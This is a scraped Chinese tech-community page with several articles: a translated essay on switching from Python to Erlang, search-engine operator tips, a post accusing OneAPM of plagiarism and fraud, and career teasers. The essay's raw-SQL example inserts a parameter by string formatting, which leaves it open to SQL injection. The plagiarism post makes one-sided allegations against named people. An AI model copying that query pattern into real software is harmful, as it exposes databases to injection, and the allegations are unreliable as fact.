在Appido.ir Streaming Technology这家公司内,在FFMPEG的和大量其他开源工具的帮助下,我们实施了Dash协议。Appido有自己的OAuth2服务器,这是一个授权系统,一个工作流程引擎,可以用来制定时间表、监测、记录日志、寻找错误、创建报告等等。使用Web2py/Django进行了数周的艰苦研发之后,我们发现只凭借一个单一的框架根本没法成功。在大的框架内创建文件夹,尝试MVC模式、或是创建一个不错的数据库控制面板根本没法帮你扩大规模!而且最后那些你原本不想要的功能会反过头来阻挡你的脚步。是的,你在这里能找到一些蜂蜜,但是你却必须要地方那些愤怒的蜜蜂。因此,我发明了自己的基于Falcon的框架。 

Python框架同样也是蜜罐! 

于是你开始使用Bottle、Falcon、Flask……然后发现自己需要安装任务队列,并且安排模块时刻表。因为在web 2.0中,每一个需要500ms以上的请求,都需要是有状态的!这是一条不成文的规则。对于长时间等待的请求,你需要给用户提供一些状态。你的客户没时间等待你完成计算过程。你需要将发送邮件、转换图片等负担放在Celery上(也可以是你自己发明的自定义多进程队列)。它有什么问题?我们来看一下: 

假设你正在开发一个流媒体服务。你的客户上传了20GB大小的4K视频文件,你将这段视频转换成了10种不同的分辨率,然后发邮件告知客户这个转换过程已经完成了。 

由于你有40个worker在使用Celery,在视频转换的过程中那个,服务器出现过载,转换速度越来越慢。于是你找到了一个自以为是天才的解决方案!安装另一台服务器,上面配备了流媒体代码和工具,将Celery作为worker。好了,问题解决了!然而并没有!半夜的时候,你发现6台服务器中,有5台的CPU利用率为0,而第六台的利用率为100%。为什么?原来Redis在配合Celery的时候,会出现时序问题,这个问题会阻碍worker拣选任务。安装RabbitMQ或许能解决问题。但是在寻找蜂蜜的过程中,你依然会被蜜蜂蛰的满身都是包。如果你在搭建这个系统的过程中没有遇到上述问题,那么恭喜你,你是这个世界上最幸运的人。 
 

我没遇到这些问题!那你请继续……

假如你的服务器运转的很正常,你需要的是增加web服务的RPS,无论你是使用增加WSGI worker的方法,还是使用Tornado/Gevent的方法,两者都可以帮你解决问题。你还会注意到,使用SQLAlchemy会让你的请求速度变慢(因为SQLAlchemy极其复杂)。写Raw SQL命令能解决你的问题。我们看看下面这个简单的例子,一个有着几百万条记录的Postgres数据库:def pure_python():
max_per_task = db.DBSession.query(
Version.task_id, func.max(Version.version_number).label( 'max'))\
.join(Task)\
.filter(Task.project_id == proj_id)\
.group_by(Version.task_id)\
.subquery()
return Version.query\
.join(max_per_task,
tuple_(max_per_task.c.task_id, max_per_task.c.max) ==
tuple_(Version.task_id, Version.version_number))\
.all()

def simple_sql():
sql = """
select
max("Versions".id) as id
from "Versions"
join "Tasks" on "Versions".task_id = "Tasks".id
join "Projects" on "Tasks".project_id = "Projects".id
where "Projects".id = %s
group by "Versions".task_id, "Versions".take_name
""" % proj_id
conn = db.DBSession.connection()
result = conn.execute(sql)
return result.fetchall()

And Results

pure_python: 3.284 sec
simple_sql: 0.228 sec
我已经解决了所有问题。到底哪里出问题了? 

你真的解决了所有问题吗?好吧,就算是吧,你现在想要尝试在Python代码中添加一些Erlang功能。你会发现,Erlang中根本不存在那些分配/规模化问题。在Python世界中,寻找规模化问题的解决方式是非常普遍的事情。要想实现规模化,你需要进行分配。而要想分配,你又需要优秀的服务导向架构,而且它还要拥有协同工作的能力。你一定要有足够的耐心,能够忍耐错误的频繁出现,并且做好失效备援。其实在Python中,这些功能都是可以实现的,不过代价非常高。你必须要规避Python的问题,还需要正确的SQL,创建自定义索引。Python的Global Interpreter Lock(GIL)会给你设置障碍。共享状态通常情况下在开始的时候能为你提供一定的帮助,但是有的时候会导致灾难性的后果。除此之外,对于每一次真实世界的计算,你都需要为Python编写扩展程序(原生C API、Swig、Cython或是pypy)。 

Erlang虽然没有C语言那么快,但是它的分配模式让我们可以很轻松的编写程序,来保护数据中心中的每一个核心(如果你能理解NIF,你就无往不利了)。用Erlang连接数据库需要你拥有SQL方面的知识(这一点和Python一样)。 
 

总结 

如果你需要创建一个云服务,或是为了给数以万计的用户提供服务,而需要扩大系统规模,你一定要选择正确的工具。Python在快速测试和模拟方面很强大,学会Python可以帮你找到工作。使用Python你可以在一夜之间就将复杂的创意变成产品。Python适合拥有大量用户的大型项目。但是在大规模扩大系统规模方面,我个人还是觉得它不够好用,有时候甚至会给你制造困难。 

长话短说,你可以用Python来找工作,或是获得一份合作合同,之后用Erlang来完成工作。

原    文:WHY AND HOW I SWITCHED FROM PYTHON TO ERLANG
译    文:https://www.sdk.cn/news/4125 
作    者:Christian(编译) 查看全部
摘要:在这篇文章中,我将会讲解我从Python转向Erlang的过程。
erlang.png

 
概览 
在这篇文章中,我将会讲解我从Python转向Erlang的过程。如果你不是一位Python开发人员,或者你不需要或是不想要极度的扩大系统规模,那么这篇文章可能对你没什么用。如果你无意为企业打造基础设施,或是你开发的产品只是简单的博客、小型资产管理系统,或是非常简单的网页,那么这篇文章对你一点帮助都没有。另外,如果你是一名初学者,正考虑选择一种语言进行学习,请你千万不要根据我的这篇文章放弃Python。我要讲的,是我自己使用Python时所遇到的那些问题,以及Erlang帮我解决这些问题的过程。 

开始的时候我会讲述一下我的过去,然后用自己的总结来结束这篇文章。如果你在阅读的过程中,能够与我有共鸣,请你来联系我,我们好好聊一聊。正是出于这个目的,我才决定把自己的经验分享出来。 


我的15年编程之路 


最早学习编程的时候,我是用MEL(Maya Embedded Language)起步的。之后,我找到了第一份工作,得到了第一份薪水。不久之后,为了获得更严肃的开发工作,我开始学习Python,并完成了K&R的阅读,使用C语言开发Python扩展程序。许多年之后,我对Web开发产生了浓厚的兴趣。我退出了动画行业,并且加入了德黑兰一家著名的科技公司。 

不久之前,我用Python开发了一个名叫Appido.IR的产品,这是一个视频/音乐流媒体服务。 
 
现在来说说我遇到的问题吧。 
 


选择正确的框架


所有人都热爱Django,但是我却讨厌它,而且没有任何理由!也许是因为帮曾帮助Massimo开发了Web2py,也或许是Web2py的简洁性惯坏了我,让我无法选择另外一个full-stack框架。但是在后来的一个无聊的项目上,我最终还是尝试了Django。 

Full-Stack Python框架就是个蜜罐

Django和Web2py各自有什么问题?什么问题都没有!直到你在一些模板引擎和数据库ORM中开始使用Bottle/Falcon之后,你才会开始感觉那些企业框架的速度是如此之慢。在使用一个简单的RESTful API的时候,你不得不浪费你的CPU周期,而且没有好的理由。而在使用复杂的API服务的时候,你必须要找到一条越狱的道路,构建一个全新的架构,然后把它放在你所谓的full-stack框架中。我们来看看下面这个例子: 

在Appido.ir Streaming Technology这家公司内,在FFMPEG的和大量其他开源工具的帮助下,我们实施了Dash协议。Appido有自己的OAuth2服务器,这是一个授权系统,一个工作流程引擎,可以用来制定时间表、监测、记录日志、寻找错误、创建报告等等。使用Web2py/Django进行了数周的艰苦研发之后,我们发现只凭借一个单一的框架根本没法成功。在大的框架内创建文件夹,尝试MVC模式、或是创建一个不错的数据库控制面板根本没法帮你扩大规模!而且最后那些你原本不想要的功能会反过头来阻挡你的脚步。是的,你在这里能找到一些蜂蜜,但是你却必须要地方那些愤怒的蜜蜂。因此,我发明了自己的基于Falcon的框架。 

Python框架同样也是蜜罐! 

于是你开始使用Bottle、Falcon、Flask……然后发现自己需要安装任务队列,并且安排模块时刻表。因为在web 2.0中,每一个需要500ms以上的请求,都需要是有状态的!这是一条不成文的规则。对于长时间等待的请求,你需要给用户提供一些状态。你的客户没时间等待你完成计算过程。你需要将发送邮件、转换图片等负担放在Celery上(也可以是你自己发明的自定义多进程队列)。它有什么问题?我们来看一下: 

假设你正在开发一个流媒体服务。你的客户上传了20GB大小的4K视频文件,你将这段视频转换成了10种不同的分辨率,然后发邮件告知客户这个转换过程已经完成了。 

由于你有40个worker在使用Celery,在视频转换的过程中那个,服务器出现过载,转换速度越来越慢。于是你找到了一个自以为是天才的解决方案!安装另一台服务器,上面配备了流媒体代码和工具,将Celery作为worker。好了,问题解决了!然而并没有!半夜的时候,你发现6台服务器中,有5台的CPU利用率为0,而第六台的利用率为100%。为什么?原来Redis在配合Celery的时候,会出现时序问题,这个问题会阻碍worker拣选任务。安装RabbitMQ或许能解决问题。但是在寻找蜂蜜的过程中,你依然会被蜜蜂蛰的满身都是包。如果你在搭建这个系统的过程中没有遇到上述问题,那么恭喜你,你是这个世界上最幸运的人。 
 


我没遇到这些问题!那你请继续……


假如你的服务器运转的很正常,你需要的是增加web服务的RPS,无论你是使用增加WSGI worker的方法,还是使用Tornado/Gevent的方法,两者都可以帮你解决问题。你还会注意到,使用SQLAlchemy会让你的请求速度变慢(因为SQLAlchemy极其复杂)。写Raw SQL命令能解决你的问题。我们看看下面这个简单的例子,一个有着几百万条记录的Postgres数据库:
def  pure_python():
max_per_task = db.DBSession.query(
Version.task_id, func.max(Version.version_number).label( 'max'))\
.join(Task)\
.filter(Task.project_id == proj_id)\
.group_by(Version.task_id)\
.subquery()
return Version.query\
.join(max_per_task,
tuple_(max_per_task.c.task_id, max_per_task.c.max) ==
tuple_(Version.task_id, Version.version_number))\
.all()

def simple_sql():
sql = """
select
max("Versions".id) as id
from "Versions"
join "Tasks" on "Versions".task_id = "Tasks".id
join "Projects" on "Tasks".project_id = "Projects".id
where "Projects".id = %s
group by "Versions".task_id, "Versions".take_name
""" % proj_id
conn = db.DBSession.connection()
result = conn.execute(sql)
return result.fetchall()

And Results

pure_python: 3.284 sec
simple_sql: 0.228 sec

我已经解决了所有问题。到底哪里出问题了? 

你真的解决了所有问题吗?好吧,就算是吧,你现在想要尝试在Python代码中添加一些Erlang功能。你会发现,Erlang中根本不存在那些分配/规模化问题。在Python世界中,寻找规模化问题的解决方式是非常普遍的事情。要想实现规模化,你需要进行分配。而要想分配,你又需要优秀的服务导向架构,而且它还要拥有协同工作的能力。你一定要有足够的耐心,能够忍耐错误的频繁出现,并且做好失效备援。其实在Python中,这些功能都是可以实现的,不过代价非常高。你必须要规避Python的问题,还需要正确的SQL,创建自定义索引。Python的Global Interpreter Lock(GIL)会给你设置障碍。共享状态通常情况下在开始的时候能为你提供一定的帮助,但是有的时候会导致灾难性的后果。除此之外,对于每一次真实世界的计算,你都需要为Python编写扩展程序(原生C API、Swig、Cython或是pypy)。 

Erlang虽然没有C语言那么快,但是它的分配模式让我们可以很轻松的编写程序,来保护数据中心中的每一个核心(如果你能理解NIF,你就无往不利了)。用Erlang连接数据库需要你拥有SQL方面的知识(这一点和Python一样)。 
 


总结 


如果你需要创建一个云服务,或是为了给数以万计的用户提供服务,而需要扩大系统规模,你一定要选择正确的工具。Python在快速测试和模拟方面很强大,学会Python可以帮你找到工作。使用Python你可以在一夜之间就将复杂的创意变成产品。Python适合拥有大量用户的大型项目。但是在大规模扩大系统规模方面,我个人还是觉得它不够好用,有时候甚至会给你制造困难。 

长话短说,你可以用Python来找工作,或是获得一份合作合同,之后用Erlang来完成工作。


原    文:WHY AND HOW I SWITCHED FROM PYTHON TO ERLANG
译    文:https://www.sdk.cn/news/4125 
作    者:Christian(编译)


好域名推荐

运维技术采菊篱下 回复了问题 • 4 人关注 • 6 个回复 • 1636 次浏览 • 2016-07-08 16:08 • 来自相关话题

搜索引擎科学上网技能大放送

运维技术Nock 发表了文章 • 0 个评论 • 931 次浏览 • 2017-01-13 00:06 • 来自相关话题

在今天,用户可以通过搜索引擎轻松找出自己想要的信息,但还是难以避免结果不尽如人意的情况。实际上,用户仅需掌握几个常用技巧即可轻松化解这种尴尬。
 
正常情况下我们搜索的关键是正确的关键词和搜搜引擎的选择,通过正确的搜索我们能得到答案的问题可以到80%以上。

常用引擎推荐

No.1 谷歌(https://google.com)




No.2 百度 (https://www.baidu.com/)




No.3 鸭鸭快跑 (https://duckduckgo.com/)




No.4 必应 (http://cn.bing.com/ )




No.5 搜狗 (https://www.sogou.com/)





排错搜索过程






1、准确搜索

最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果, 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必 须完全匹配.

比方说在搜索「zabbix mysql」的时候,在没有给关键词加上双引号的情况,搜索引擎会显示所有分别和「zabbix」以及「mysql」相关的信息,但这些显然并不是我们想要的结果。但在加上双引号后,搜索引擎则仅会在页面上反馈和「zabbix mysql」相吻合的信息。

准确搜索在排除常见但相近度偏低的信息时非常有用,可以为用户省去再度对结果进行筛选的麻烦。





2、加号

在搜索引擎框里把多个关键字用加号(+)连接起来,搜索引擎就会自动去匹配互联网上与所有关键词相关的内容,默认与 空格等效,百度和Google都支持。





3、减号-排除关键词

如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除,仅需使用减号即可。

减号代表搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词 。





4、OR或逻辑搜索

在默认搜索下,搜索引擎会反馈所有和查询词汇相关的结果,但通过使用「OR」逻辑,你可以得到和两个关键词分别相关的结果,而不仅仅是和两个关键词 都同时相关的结果。巧妙使用「OR」搜索可以让你在未能确定哪个关键词对于搜索结果起决定作用时依然可以确保搜索结果的准确性。





5、同义词搜索​

有时候对不太确切的关键词进行搜索反而会显得更加合适。在未能准确判断关键词的情况下,你可以通过同义词进行搜索。

如果你在搜索引擎输入「plumbing ~university」,你所得到的反馈结果会包含「plumbing universities」和「plumbing colleges」等相似条目。





6、善用星号

正如拼图游戏「Scrabble」的空白方块一样,在搜索引擎中,我们可以用星号填补关键词中的缺失部分,不论缺失的是一连串单词的其中一个还是一个单词的某一部分。此外,当你希望搜索一篇确定性偏低的文章时,也可以使用星号填补缺失部分。

例如,如果你在搜索引擎中输入「architect*」,你所得到的反馈结果将会是所有包含 architect、architectural、architecture、architected、architecting 以及其他所有以「architect」作为开头的词汇的条目。

常用的案例:搜索报错中的特定路径 , 有个词忘记了或者不会打:





7、在两个数值之间进行搜索

在寻找问题的答案时,一个很好的方法是在一定范围内寻找和关键词相关的资讯。例如想要找出 1920 至 1950 年间的英国首相,直接在搜索引擎中输入「英国首相 1920.. 1950」即可得出想要的结果。

记住,数值之间的符号是两个英文句号加一个空格键。





8、inurl  

该指令用于搜索查询词出现在url中的页面。BaiDu和Google都支持inurl指令。inurl指令支持中文和英文。 比如搜索:inurl:hadoop,返回的结果都是网址url中包含“hadoop”的页面。由于关键词出现在url 中对排名有一定影响,使用inurl:搜索可以更准确地找到与关键字相关的内容。
 
例如:inurl:openskill hadoop





9、intitle在网页标题、链接和主体中搜索关键词

有时你或许会遇上找出所有和关键词相关的所有网页标题、链接和网页主体的需求,在这个时候你需要使用的是限定词「inurl:」(供在 url 链接中搜索使用)、「intext:」(供在网页主体中搜索使用)以及「intitle:」(供在网页标题中搜索使用)。
 
使用intitle 指令找到的文件更为准确。出现在title中,说明页面内容跟关键字有很大关联。





10、allintitle

allintitle:搜索返回的是页面标题中包含多组关键词的文件。例如 :allintitle:zabbix docker,就相当于:intitle:zabbix intitle:docker,返回的是标题中中既包含“zabbix”,也包含“docker”的页面,显著提高搜索命中率。





11、allinurl

与allintitle: 类似,allinurl:zabbix hadoop,就相当于 :inurl:zabbix inurl:hadoop 





12、site站内搜索

绝大部分网站的搜索功能都有所欠缺,因此,更好的方法是通过 Google 等搜索引擎对站内的信息进行搜索。

你只需要在搜索引擎上输入「site:openskill.cn」加上关键词,搜索引擎就会反馈网站「openskill.cn」内和关键词相关的所有条目。如果再结合准确搜索功能,这项功能将会变得更加强大。





13、filetype

用于搜索特定文件格式。Google 和bd都支持filetype指令。 比如搜索filetype:pdf docker 返回的就是包含SEO 这个关键词的所有pdf 文件。 





14、搜索相关网站

查找与您已浏览过的网址类似的网站, 例如,你仅需在搜索引擎中输入「related:openskill.cn」即可得到所有和「openskill.cn」相关的网站反馈结果。





15、搜索技能的组合使用

你可以对上述所有搜索技能进行组合运用,以便按照自己的意愿缩小或者扩展搜索范围。尽管有些技能或许并不常用,但准确搜索和站内搜索这些技能的使用范围还是相当广泛的。





其他技巧





随着 Google 等搜索引擎对于用户自然语言的理解程度与日俱增,这些搜索技能可以派上用场的情况或许将会变得越来越少,至少这是所有搜索引擎共同追求的目标。但是在当下,掌握这些搜索技能还是非常必要的。

参考:http://www.cnblogs.com/feiyuhuo/p/5398238.html http://blog.jobbole.com/72211/  查看全部
在今天,用户可以通过搜索引擎轻松找出自己想要的信息,但还是难以避免结果不尽如人意的情况。实际上,用户仅需掌握几个常用技巧即可轻松化解这种尴尬。
 
正常情况下我们搜索的关键是正确的关键词和搜搜引擎的选择,通过正确的搜索我们能得到答案的问题可以到80%以上。


常用引擎推荐


No.1 谷歌https://google.com
google.png

No.2 百度https://www.baidu.com/
baidu.png

No.3 鸭鸭快跑 (https://duckduckgo.com/
duckduckgo.png

No.4 必应 (http://cn.bing.com/ )
bing.png

No.5 搜狗 (https://www.sogou.com/)
sogou.png


排错搜索过程


soerror.png


1、准确搜索


最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果, 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必 须完全匹配.

比方说在搜索「zabbix mysql」的时候,在没有给关键词加上双引号的情况,搜索引擎会显示所有分别和「zabbix」以及「mysql」相关的信息,但这些显然并不是我们想要的结果。但在加上双引号后,搜索引擎则仅会在页面上反馈和「zabbix mysql」相吻合的信息。

准确搜索在排除常见但相近度偏低的信息时非常有用,可以为用户省去再度对结果进行筛选的麻烦。
yinhao.png


2、加号


在搜索引擎框里把多个关键字用加号(+)连接起来,搜索引擎就会自动去匹配互联网上与所有关键词相关的内容,默认与 空格等效,百度和Google都支持。
open-source-tech.png


3、减号-排除关键词


如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除,仅需使用减号即可。

减号代表搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词 。
jianhao.png


4、OR或逻辑搜索


在默认搜索下,搜索引擎会反馈所有和查询词汇相关的结果,但通过使用「OR」逻辑,你可以得到和两个关键词分别相关的结果,而不仅仅是和两个关键词 都同时相关的结果。巧妙使用「OR」搜索可以让你在未能确定哪个关键词对于搜索结果起决定作用时依然可以确保搜索结果的准确性。
orlink.png


5、同义词搜索​


有时候对不太确切的关键词进行搜索反而会显得更加合适。在未能准确判断关键词的情况下,你可以通过同义词进行搜索。

如果你在搜索引擎输入「plumbing ~university」,你所得到的反馈结果会包含「plumbing universities」和「plumbing colleges」等相似条目。
daxue.png


6、善用星号


正如拼图游戏「Scrabble」的空白方块一样,在搜索引擎中,我们可以用星号填补关键词中的缺失部分,不论缺失的是一连串单词的其中一个还是一个单词的某一部分。此外,当你希望搜索一篇确定性偏低的文章时,也可以使用星号填补缺失部分。

例如,如果你在搜索引擎中输入「architect*」,你所得到的反馈结果将会是所有包含 architect、architectural、architecture、architected、architecting 以及其他所有以「architect」作为开头的词汇的条目。

常用的案例:搜索报错中的特定路径 , 有个词忘记了或者不会打:
xinhao.png


7、在两个数值之间进行搜索


在寻找问题的答案时,一个很好的方法是在一定范围内寻找和关键词相关的资讯。例如想要找出 1920 至 1950 年间的英国首相,直接在搜索引擎中输入「英国首相 1920.. 1950」即可得出想要的结果。

记住,数值之间的符号是两个英文句号加一个空格键。
kingdom.png


8、inurl  


该指令用于搜索查询词出现在url中的页面。BaiDu和Google都支持inurl指令。inurl指令支持中文和英文。 比如搜索:inurl:hadoop,返回的结果都是网址url中包含“hadoop”的页面。由于关键词出现在url 中对排名有一定影响,使用inurl:搜索可以更准确地找到与关键字相关的内容。
 
例如:inurl:openskill hadoop
inurl.png


9、intitle在网页标题、链接和主体中搜索关键词


有时你或许会遇上找出所有和关键词相关的所有网页标题、链接和网页主体的需求,在这个时候你需要使用的是限定词「inurl:」(供在 url 链接中搜索使用)、「intext:」(供在网页主体中搜索使用)以及「intitle:」(供在网页标题中搜索使用)。
 
使用intitle 指令找到的文件更为准确。出现在title中,说明页面内容跟关键字有很大关联。
intitle.png


10、allintitle


allintitle:搜索返回的是页面标题中包含多组关键词的文件。例如 :allintitle:zabbix docker,就相当于:intitle:zabbix intitle:docker,返回的是标题中中既包含“zabbix”,也包含“docker”的页面,显著提高搜索命中率。
allintitle.png


11、allinurl


与allintitle: 类似,allinurl:zabbix hadoop,就相当于 :inurl:zabbix inurl:hadoop 
allinurl.png


12、site站内搜索


绝大部分网站的搜索功能都有所欠缺,因此,更好的方法是通过 Google 等搜索引擎对站内的信息进行搜索。

你只需要在搜索引擎上输入「site:openskill.cn」加上关键词,搜索引擎就会反馈网站「openskill.cn」内和关键词相关的所有条目。如果再结合准确搜索功能,这项功能将会变得更加强大。
site.png


13、filetype


用于搜索特定文件格式。Google 和bd都支持filetype指令。 比如搜索filetype:pdf docker 返回的就是包含SEO 这个关键词的所有pdf 文件。 
filetype.png


14、搜索相关网站


查找与您已浏览过的网址类似的网站, 例如,你仅需在搜索引擎中输入「related:openskill.cn」即可得到所有和「openskill.cn」相关的网站反馈结果。
relate.png


15、搜索技能的组合使用


你可以对上述所有搜索技能进行组合运用,以便按照自己的意愿缩小或者扩展搜索范围。尽管有些技能或许并不常用,但准确搜索和站内搜索这些技能的使用范围还是相当广泛的。
union.png


其他技巧


other.png

随着 Google 等搜索引擎对于用户自然语言的理解程度与日俱增,这些搜索技能可以派上用场的情况或许将会变得越来越少,至少这是所有搜索引擎共同追求的目标。但是在当下,掌握这些搜索技能还是非常必要的。

参考:http://www.cnblogs.com/feiyuhuo/p/5398238.html http://blog.jobbole.com/72211/ 

连竞争对手的新闻稿都照抄的公司你听说过吗?

互联网资讯Geek小A 发表了文章 • 5 个评论 • 7482 次浏览 • 2015-12-22 18:25 • 来自相关话题

闲来无事,看看创业抄袭体

在中国做产品,有的人抄源码,有的人抄UI,有的人抄功能,现在竟然还有人连竞争对手的新闻稿都要抄袭!而这么没品的事情,竟然是一家号称要做中国的Oracle的公司干出来的,待我细说端详。事情的起因是酱紫的,我在一家电子商务公司负责移动端,因为产品接了很多第三方API,如友盟的统计,微信的登陆,百度的定位,还有支付宝和银联的支付,所以一直在用监控宝API监控功能。前段时间监控宝对这个功能进行产品升级,所以特别关注了一下这块内容。云智慧官方微信文章



恰好AWS宣布要正式进军国内,在看新闻的时候发现搜狐上有一篇关于API的文章《透过 AWS 峰会看未来 API 监控市场》(http://mt.sohu.com/20151218/n431798253.shtml ),顺手点进去,天啦撸,竟然跟前几天监控宝的微信文章一模一样,顺藤摸瓜,在这家叫OneAPM的公司官网上也找到了这篇文章(http://news.oneapm.com/aws-api/ )。OneAPM搜狐自媒体平台文章列表




OneAPM官网文章列表





下面就让我们看看这两篇几乎一样的文章

云智慧官方微信文章截图如下:




OneAPM官网文章截图如下:



监控宝文章开篇在讲API生态的发展历程和典型API方案架构,而OneAPM开篇先抱AWS大腿,随后开抄,因为监控宝的两张配图有明显水印,所以图片不见了,但文字就显得莫名其妙。


第二段讨论国内API监控发展的内容,继续全文照抄,只是把最后的云智慧监控宝替换成OneAPM。


后面两段关于监控宝“API监控原理”和“API监控新版介绍”的内容 ,因为涉及监控宝API可用性和响应时间策略,所以OneAPM进行了大篇幅的删减,只保留了一张还带着云智慧微信残缺水印的API通信原理图和少量文字,最后一段监控宝产品使用估计抄袭难度太大,所以也得以幸免。


既然连新闻稿都要抄袭,产品是不是也是抄的呢,本着生命不息,八卦不止的精神,上百度搜索“OneAPM 抄袭”,果然看到一个扒皮贴和一篇扒皮文章。先来看看V2EX上的扒皮帖子(链接:http://www.v2ex.com/t/125736):


有人(目测是OneAPM的托)在V2EX发帖说OneAPM家的Python Agent好用,然后网友留言“其实就是 NewRelic 的汉化版嘛”,于是@dreampuf 、@vvvboy认真比较了OneAPM和NewRelic的Agent代码,竟然又是一模一样。






OneAPM的人先是拒不承认抄袭,被扒皮后又说产品开源的目的就是为了让人抄,实在是“见仁见智”。对了,他们还在媒体上说《Blueware何晓阳,不做中国的New Relic》(CSDN专访:http://www.csdn.net/article/2014-07-10/2820605-APM-Software-Service )。
接着看到另一篇《OneAPM何晓阳的美丽人生》(http://news.3news.cn/html/news/cj/2015/0813/23053.html ),原来抄袭只是OneAPM的一项技能,他们还Get了好多Duang~Duang~Duang~的特技:吹牛逼、客户造假、数据造假、融资夸大。
看到这里,至少我是不敢把纯粹抄来的玩意往我家产品里接的,万一出了啥问题,你又搞不定,算谁的?!


结语

我是流氓我怕谁,创客时代,不少创业者,创业公司不择方法。抄袭已经很常见了,很值得思考。
风口上的猪,希望是一只正直、实在、努力的猪。不希望是懒惰、抄袭、拿来主义者。 查看全部


闲来无事,看看创业抄袭体


在中国做产品,有的人抄源码,有的人抄UI,有的人抄功能,现在竟然还有人连竞争对手的新闻稿都要抄袭!而这么没品的事情,竟然是一家号称要做中国的Oracle的公司干出来的,待我细说端详。
事情的起因是酱紫的,我在一家电子商务公司负责移动端,因为产品接了很多第三方API,如友盟的统计,微信的登陆,百度的定位,还有支付宝和银联的支付,所以一直在用监控宝API监控功能。前段时间监控宝对这个功能进行产品升级,所以特别关注了一下这块内容。
云智慧官方微信文章
hack1.png
恰好AWS宣布要正式进军国内,在看新闻的时候发现搜狐上有一篇关于API的文章《透过 AWS 峰会看未来 API 监控市场》(http://mt.sohu.com/20151218/n431798253.shtml ),顺手点进去,天啦撸,竟然跟前几天监控宝的微信文章一模一样,顺藤摸瓜,在这家叫OneAPM的公司官网上也找到了这篇文章(http://news.oneapm.com/aws-api/ )。
OneAPM搜狐自媒体平台文章列表
hack2.png

OneAPM官网文章列表
hack3.png


下面就让我们看看这两篇几乎一样的文章


云智慧官方微信文章截图如下:
hack5.png

OneAPM官网文章截图如下:
hack6.png
监控宝文章开篇在讲API生态的发展历程和典型API方案架构,而OneAPM开篇先抱AWS大腿,随后开抄,因为监控宝的两张配图有明显水印,所以图片不见了,但文字就显得莫名其妙。
hack7.png
第二段讨论国内API监控发展的内容,继续全文照抄,只是把最后的云智慧监控宝替换成OneAPM。
hack8.png
后面两段关于监控宝“API监控原理”和“API监控新版介绍”的内容 ,因为涉及监控宝API可用性和响应时间策略,所以OneAPM进行了大篇幅的删减,只保留了一张还带着云智慧微信残缺水印的API通信原理图和少量文字,最后一段监控宝产品使用估计抄袭难度太大,所以也得以幸免。
hack9.png
既然连新闻稿都要抄袭,产品是不是也是抄的呢,本着生命不息,八卦不止的精神,上百度搜索“OneAPM 抄袭”,果然看到一个扒皮贴和一篇扒皮文章。先来看看V2EX上的扒皮帖子(链接:http://www.v2ex.com/t/125736):
hack10.png
有人(目测是OneAPM的托)在V2EX发帖说OneAPM家的Python Agent好用,然后网友留言“其实就是 NewRelic 的汉化版嘛”,于是@dreampuf 、@vvvboy认真比较了OneAPM和NewRelic的Agent代码,竟然又是一模一样。
hack11.png

hack12.png
OneAPM的人先是拒不承认抄袭,被扒皮后又说产品开源的目的就是为了让人抄,实在是“见仁见智”。对了,他们还在媒体上说《Blueware何晓阳,不做中国的New Relic》(CSDN专访:http://www.csdn.net/article/2014-07-10/2820605-APM-Software-Service )。
接着看到另一篇《OneAPM何晓阳的美丽人生》(http://news.3news.cn/html/news/cj/2015/0813/23053.html ),原来抄袭只是OneAPM的一项技能,他们还Get了好多Duang~Duang~Duang~的特技:吹牛逼、客户造假、数据造假、融资夸大。
看到这里,至少我是不敢把纯粹抄来的玩意往我家产品里接的,万一出了啥问题,你又搞不定,算谁的?!


结语


我是流氓我怕谁,创客时代,不少创业者,创业公司不择方法。抄袭已经很常见了,很值得思考。
风口上的猪,希望是一只正直、实在、努力的猪。不希望是懒惰、抄袭、拿来主义者。

月薪2000和月薪十万的差别,看看你就懂了!

互联网资讯push 发表了文章 • 0 个评论 • 2081 次浏览 • 2015-11-02 12:16 • 来自相关话题

一、关于刚入职时






二、关于对待问题






三、关于执行力






四、关于个性






五、关于下班后






六、关于工作重点






七、关于客户沟通






八、关于视界






九、关于批评






十、关于职业规划





正能量分享原文 查看全部


一、关于刚入职时


yx1.png


二、关于对待问题


yx2.png


三、关于执行力


yx3.png


四、关于个性


yx4.png


五、关于下班后


yx5.png


六、关于工作重点


yx6.png


七、关于客户沟通


yx7.png


八、关于视界


yx8.png


九、关于批评


yx9.png


十、关于职业规划


yx10.png

正能量分享原文

运维人,你应该了解的三张武功心法图

互联网资讯采菊篱下 发表了文章 • 0 个评论 • 3420 次浏览 • 2015-10-11 15:04 • 来自相关话题

一、运维技能图

做为一个运维工程师,你知道你应该学习什么?怎么学习吗?朝哪个方向发展吗?下面一张运维工程师技能图,让你了解!





二、自动化运维路线图

运维自动化在国内已经声名远躁了,随着互联网快速的发展,运维不单单是几个脚本,几个文档可以胜任的!DevOps在国内很受热捧,但是真正的自动化之路,你走到了哪?你知道该怎么走吗?下面的武功心法图告诉你该怎么走!





三、云计算知识大宝典

从2013年开始,我国云计算持续快速发展,产业规模不断扩大,产业链日趋完善,产业环境不断优化。在这种情况下,不少创业者看到了市场,不少云计算公司崛起。但是人才在哪里,哪些是真正的云计算人才?云计算人才他应该会什么,下面Cloud computing image告诉你




 上图不清晰,扩大可清晰看到!
天下武功唯快不攻,这句话运用到互联网,就是你最快、最好、最早的掌握了互联网的最新技术,你就是比较吃香的人才!就像最新比较人们的容器Docker技术一样,如果你是先行者,你现在至少是一家Docker生态技术创业服务的合伙人!革命还未胜利,同志还需努力,各位苦逼的互联网工作者,加油! 查看全部


一、运维技能图


做为一个运维工程师,你知道你应该学习什么?怎么学习吗?朝哪个方向发展吗?下面一张运维工程师技能图,让你了解!
运维技能图.png


二、自动化运维路线图


运维自动化在国内已经声名远躁了,随着互联网快速的发展,运维不单单是几个脚本,几个文档可以胜任的!DevOps在国内很受热捧,但是真正的自动化之路,你走到了哪?你知道该怎么走吗?下面的武功心法图告诉你该怎么走!
自动化运维路线图.png


三、云计算知识大宝典


